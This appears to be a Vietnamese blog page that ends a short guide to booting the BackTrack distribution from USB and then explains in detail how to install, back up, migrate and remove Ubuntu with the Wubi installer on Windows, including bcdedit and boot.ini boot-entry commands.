Nếu số lượng drive của bạn nhiều hơn 3 thì có thể sẽ xảy ra tình trạng BIOS không nhìn thấy USB của bạn, nhưng đừng vì thế mà nghĩ rằng BIOS của bạn không có chức năng boot từ USB (tất cả các BIOS ra sau năm 2006 đều có chức năng này hết), và hãy lục trong BIOS tiếp để tìm cách đẩy USB device của bạn vào top 3 device trên.

Hướng dẫn cách chạy Backtrack

Khi đầu tiên bạn chọn "Default boot", sau đó bạn sẽ thấy một background tuyệt đẹp, sau đó sẽ thấy dòng lệnh hiện thị OS reports, đợi khoảng 30s - 1 phút (máy khỏe load nhanh máy yếu load chậm), login của bạn là root, password là toor. Bạn sẽ thấy dòng lệnh, gõ startx để chuyển sang Graphic mode (mode của bạn đang là Console mode, khá bất tiện).
Vậy là xong, cứ mò mẫm và nghiên cứu hệ điều hành mới này nhé :)) Cách hack wifi mình sẽ up ở kì sau ... hẹn gặp lại các bạn và chúc các bạn thành công nha. :x

readmore...

Cài đặt Ubuntu từ Windows bằng wubi

Sử dụng đĩa CD hoặc đĩa ảo
Nếu bạn có đĩa CD, có thể bắt đầu từ bước 3
1 Tải Ubuntu: http://www.ubuntu.com/download/desktop
2 Đặt (mount) nó vào ổ đĩa ảo.
Nếu bạn chưa có có chương trình tạo ổ đĩa ảo thì bạn có thể dùng daemon tools lite (miễn phí cho mục đích phi thương mại)http://www.daemon-tools.cc/
3 Tiến hành chạy chương trình wubi.exe ở thư mục gốc của đĩa CD (hoặc CD ảo)

4 Nhấn vào nút Install inside Windows (hình trên)
5 Chỉnh sửa các thiết đặt:

* Tiến hành chọn đĩa cài (Installation drive): đĩa phải còn trống hơn 3GB, không cần tạo 1 ổ đĩa riêng, khi cài đĩa này không bị mất dự liệu, không nên dùng đĩa có định dạng dòng FAT.
* Chọn dung lượng cài Ubuntu (Installation size): bạn nên cho dung lượng lớn một tí, vì sau khi cài muốn thay đổi dung lượng là rất phức tạp
* Môi trường Desktop (Desktop environment): trùng với môi trường Desktop trong đĩa CD (hoặc CD ảo)
* Ngôn ngữ (Language): không có tiếng Việt, nếu bạn muốn dùng tiếng Việt thì có thể cài thêm sau khi cài Ubuntu
* Tên người dùng (username): tên tài khoản đăng nhập
* Mật khẩu (password): mật khẩu dùng với tài khoản trên
6 Nhấn Install để tiến hành cài đặt. Quá trình cài đặt này mất khoảng vài phút tùy cấu hình máy.

7 Màn hình tiếp theo hỏi bạn có khởi động lại máy lập tức hay không.Chọn Reboot now để tiếp tục cài đặt.

8 Sau khi khởi động lại, ở màn hình boot loader của windows sẽ có thêm 1 tùy chọn nữa để vào Ubuntu, bạn chọn Ubuntu

9 Sau đó quá trình cài đặt thật sự của Ubuntu bắt đầu, sau khi cài đặt xong, khởi động lại vào Ubuntu là bạn có thể bắt đầu sử dụng
Không sử dụng đĩa CD và đĩa ảo
Cách cài này tương tự như cách cài có sử dụng đĩa CD hoặc đĩa ảo.
1 Tải Ubuntu :bước này có thể bỏ qua nếu như muốn chương trình cài đặt (wubi) tự tải về
2 Lấy chương trình wubi:
* Dùng 7-zip hoặc WinRAR hoặc bất kì chương trình nào có thể đọc được file iso, lấy file wubi.exe ra. (Khuyên dùng nếu bạn đã tải Ubuntu)
* Hoặc tải từ trang http://wubi-installer.org/ hoặc http://wubi.sourceforge.net/ (chỉ có bản mới nhất, khuyên dùng nếu muốn wubi tự tải ubuntu về)
* Hoặc http://releases.ubuntu.com/x.xx/wubi.exe với x.xx là số hiệu phiên bản Ubuntu cần cài
3 Đặt file iso của Ubuntu (nếu đã tải) cùng thư mục với file wubi.exe, rồi chạy file wubi.exe
4 Tiến hành cấu hình như cách cài Sử dụng đĩa CD hoặc đĩa ảo, chỉ khác là ở bươc chọn môi trường Desktop, bạn phải chọn môi trường Desktop chính xác

5 Tiếp tục cài đặt như cách Sử dụng đĩa CD hoặc đĩa ảo
Lưu trữ và phục hồi khi cài lại Windows
Nếu bạn cần cài hoặc phục hồi lại Windows (từ file Ghost, Acronis, ...), thì bạn cần lưu trữ và phục hồi lại Ubuntu như sau:
Lưu trữ: tất cả những gì bạn cần làm là chép (hoặc di chuyển) thư mục ubuntu (ở ổ đĩa đã chọn cài Ubuntu) đến ổ đĩa dữ liệu không bị ảnh hưởng bởi quá trình cài đặt hoặc phục hồi Windows.
Phục hồi: 3 bước
1 Copy thư mục ubuntu đã backup về chỗ cũ (hoặc có thể để ở thư mục gốc của ổ đĩa bất kì)
2 Copy 2 file wubildr và wubildr.mbr ở thư mục ubuntu/winboot về thư mục gốc của ổ đĩa hệ thống (thường là C)
* Đối với Windows 2000/XP: thêm dòng sau vào file boot.ini (nằm ở thư mục gốc của ổ đĩa hệ thống)
C:\wubildr.mbr = "Ubuntu"
* Đối với Windows Vista/7: (các lệnh điều gõ trên Command Prompt của Windows)
* Gõ lệnh: (với chữ "Ubuntu" có thể thay bằng chữ khác bất kì)
bcdedit /create /d "Ubuntu" /application bootsector
Sau khi gõ lệnh, kết quả trả về sẽ có 1 dãy ID nằm trong dấu {}, ghi nhớ (copy) dãy ID này.
* Gõ tiếp những lệnh sau: (với chữ ID được thay bằng ID đã ghi nhận ở trên, C: thay bằng ổ đĩa hệ thống)
bcdedit /set {ID} device partition=C:
bcdedit /set {ID} path \wubildr.mbr
bcdedit /displayorder {ID} /addlast
3 Cuối cùng khởi động lại để xem kết quả
Note: đối với Windows Vista/7, có thể dùng EasyBCD để cấu hình bằng giao diện đồ họa
Chuyển Ubuntu cài bằng Wubi sang phân vùng riêng
Sau một thời gian dùng thử Ubuntu, bạn hài lòng với nó và muốn sử dụng Ubuntu trên phân vùng riêng mà không muốn mất các thiết lập sẵn có, bạn có thể chuyển Ubuntu cài đặt bằng Wubi sang phân vùng riêng.
Chuyển: 5 bước Download LVPM : http://sourceforge.net/projects/lubi/files/LVPM/96/lvpm_96_all.deb/download
1 Phân vùng ổ cứng : Bạn cần thêm 2 phân vùng, 1 cho Ubuntu và 1 cho swap
2 Cài đặt LVPM (Loopmounted Virtual Partition Manager) trong Ubuntu:
sudo apt-get install lvpm
Sau khi yêu cầu password, k
pvm sẽ được cài đặt.
1 Khởi động LVPM từ Application -> System Tools -> LPVM, chọn Transfer

2 Chọn phân vùng bạn muốn chuyển Ubuntu tới.
Note:Hãy cẩn thận, nếu chọn nhầm bạn có thể bị mất dữ liệu

3 LVPM sẽ tự làm những việc còn lại (format phân vùng, copy dữ liệu, cài đặt Grub...)
Cuối cùng, bạn chọn Reboot để hoàn tất quá trình chuyển đổi.

Note: Sau khi quá trình chuyển hoàn tất, bạn có thể gỡ bỏ Wubi.
Gỡ bỏ
Việc gỡ bỏ Ubuntu khi cài bằng cách này đơn giản như gỡ các ứng dụng Windows khác.
Vào Control Panel -> Add/Remove Programs, tìm chương trình tên Ubuntu rồi chọn Remove Sau khi gỡ bỏ Ubuntu, nếu khi khởi động vẫn còn hiện menu chọn Ubuntu thì bạn cần xóa dòng sau trong file boot.ini ở thư mục gốc ổ đĩa hệ thống
C:\wubildr.mbr = "Ubuntu"
readmore...